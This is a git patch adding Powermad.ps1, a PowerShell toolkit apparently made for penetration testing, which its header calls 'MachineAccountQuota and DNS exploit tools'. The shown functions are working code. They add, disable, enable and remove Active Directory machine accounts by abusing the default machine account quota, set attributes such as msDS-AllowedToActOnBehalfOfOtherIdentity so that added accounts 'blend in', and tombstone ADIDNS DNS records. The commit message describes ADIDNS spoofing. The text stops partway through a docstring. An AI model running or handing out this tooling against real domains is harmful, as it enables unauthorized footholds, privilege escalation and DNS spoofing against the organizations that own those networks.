From 2c25774fc41c001ca28f0ab2c039b0bae6767b01 Mon Sep 17 00:00:00 2001 From: Kevin Robertson Date: Tue, 10 Jul 2018 09:56:03 -0400 Subject: ADIDNS functions, pscredential, nonsecure dynamic updates Added functions for performing ADIDNS spoofing. All LDAP functions now accept a pscredential object. Added nonsecure dynamic updates functionality to Invoke-DNSupdate. --- Powermad.ps1 | 3944 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 3944 insertions(+) create mode 100644 Powermad.ps1 (limited to 'Powermad.ps1') diff --git a/Powermad.ps1 b/Powermad.ps1 new file mode 100644 index 0000000..6a7f50e --- /dev/null +++ b/Powermad.ps1 @@ -0,0 +1,3944 @@ +<# +Powermad - PowerShell MachineAccountQuota and DNS exploit tools +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause +https://github.com/Kevin-Robertson/Powermad +#> + +#region begin MachineAccountQuota Functions + +function Disable-MachineAccount +{ + <# + .SYNOPSIS + This function disables a machine account that was added through New-MachineAccount. This function should be + used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides that ability by setting the AccountDisabled to true. + Ideally, the account is removed after elevating privilege. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be disabled. + + .EXAMPLE + Disable a machine account named test. + Disable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if(!$directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","True") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount has been disabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already disabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-MachineAccount +{ + <# + .SYNOPSIS + This function enables a machine account that was disabled through Disable-MachineAccount. This function should + be used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function sets a machine account's AccountDisabled attribute to false. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be enabled. + + .EXAMPLE + Enable a machine account named test. + Enable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if($directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","False") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already enabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can return values populated in machine account attributes. + + .DESCRIPTION + This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter + requires a DNS domain name and not a NetBIOS version. + + .PARAMETER DomainController + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .EXAMPLE + Get the value of the description attribute from a machine account named test. + Get-MachineAccountAttribute -MachineAccount test -Attribute description + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-MachineAccountCreator +{ + <# + .SYNOPSIS + This function leverages the ms-DS-CreatorSID property on machine accounts to return a list + of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only + populated when a machine account is created by an unprivileged user. Note that SIDs will be returned + over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier. + + .DESCRIPTION + This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before + using New-MachineAccount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Get the ms-DS-CreatorSID values for a domain. + Get-MachineAccountCreator + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + try + { + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher + $machine_account_searcher.SearchRoot = $directory_entry + $machine_accounts = $machine_account_searcher.FindAll() | Where-Object {$_.properties.objectcategory -match "CN=computer"} + $creator_object_list = @() + + ForEach($account in $machine_accounts) + { + $creator_SID_object = $account.properties."ms-ds-creatorsid" + + if($creator_SID_object) + { + $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value + $creator_object = New-Object PSObject + + try + { + + if($Credential) + { + $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + $creator_account_array = $($creator_account.distinguishedName).Split(",") + $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3) + } + else + { + $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username + } + catch + { + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.samaccountname[0] + $creator_object_list += $creator_object + $creator_SID_object = $null + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function New-MachineAccount +{ + <# + .SYNOPSIS + This function adds a machine account with a specified password to Active Directory through an encrypted LDAP + add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which + allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added + directly through an LDAP connection to a domain controller and not by attaching the host system to Active + Directory. This function does not modify the domain attachment and machine account associated with the host + system. + + Note that you will not be able to remove the account without elevating privilege. You can however disable the + account as long as you maintain access to the account used to create the machine account. + + .PARAMETER Credential + PSCredential object that will be used to create the machine account. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER MachineAccount + The machine account that will be added. + + .PARAMETER Password + The securestring of the password for the machine account. + + .EXAMPLE + Add a machine account named test. + New-MachineAccount -MachineAccount test + + .EXAMPLE + Add a machine account named test with a password of Summer2018!. + $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force + New-MachineAccount -MachineAccount test -Password $machine_account_password + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + $Domain = $Domain.ToLower() + $machine_account = $MachineAccount + + if($MachineAccount.EndsWith('$')) + { + $sam_account = $machine_account + $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) + } + else + { + $sam_account = $machine_account + "$" + } + + Write-Verbose "[+] SAMAccountName = $sam_account" + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", + "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null + Remove-Variable password_cleartext + + try + { + $connection.SendRequest($request) > $null + Write-Output "[+] machine account $MachineAccount added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + + if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') + { + Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-MachineAccount +{ + <# + .SYNOPSIS + This function removes a machine account with a privileged account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides the ability to delete a machine account once a + privileged account has been obtained. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The machine account that will be removed. + + .EXAMPLE + Remove a machine account named test with domain admin credentials. + Remove-MachineAccount -MachineAccount test -Credential $domainadmin + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] Machine account $MachineAccount removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can populate an attribute for an account that was added through New-MachineAccount. Write + access to the attribute is required. This function should be used with the same user that created the + machine account. + + .DESCRIPTION + The user account that creates a machine account is granted write access to some attributes. These attributes + can be leveraged to help an added machine account blend in better or change values that were restricted by + validation when the account was created. + + Here is a list of some of the usual write access enabled attributes: + + AccountDisabled + description + displayName + DnsHostName + ServicePrincipalName + userParameters + userAccountControl + msDS-AdditionalDnsHostName + msDS-AllowedToActOnBehalfOfOtherIdentity + SamAccountName + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .PARAMETER Value + The machine account attribute value. + + .EXAMPLE + Set the description attribute to a value of "test value" on a machine account named test. + Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] $directory_entry updated" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +#endregion + +#region begin DNS Functions + +function Disable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can tombstone an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the + dnsRecord attribute to a zero type array. Note that the node remains in AD. + + .PARAMETER Credential + PSCredential object that will be used to tombstone the DNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Tombstone a wildcard record. + Set-ADIDNSNodeTombstone -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))" + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node tombstoned" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can turn a tombstoned node back into a valid record. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can turn a tombstoned node back into a valid record. This function should be used in place of + New-ADIDNSNode when working with nodes that already exist due to being previously added. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController 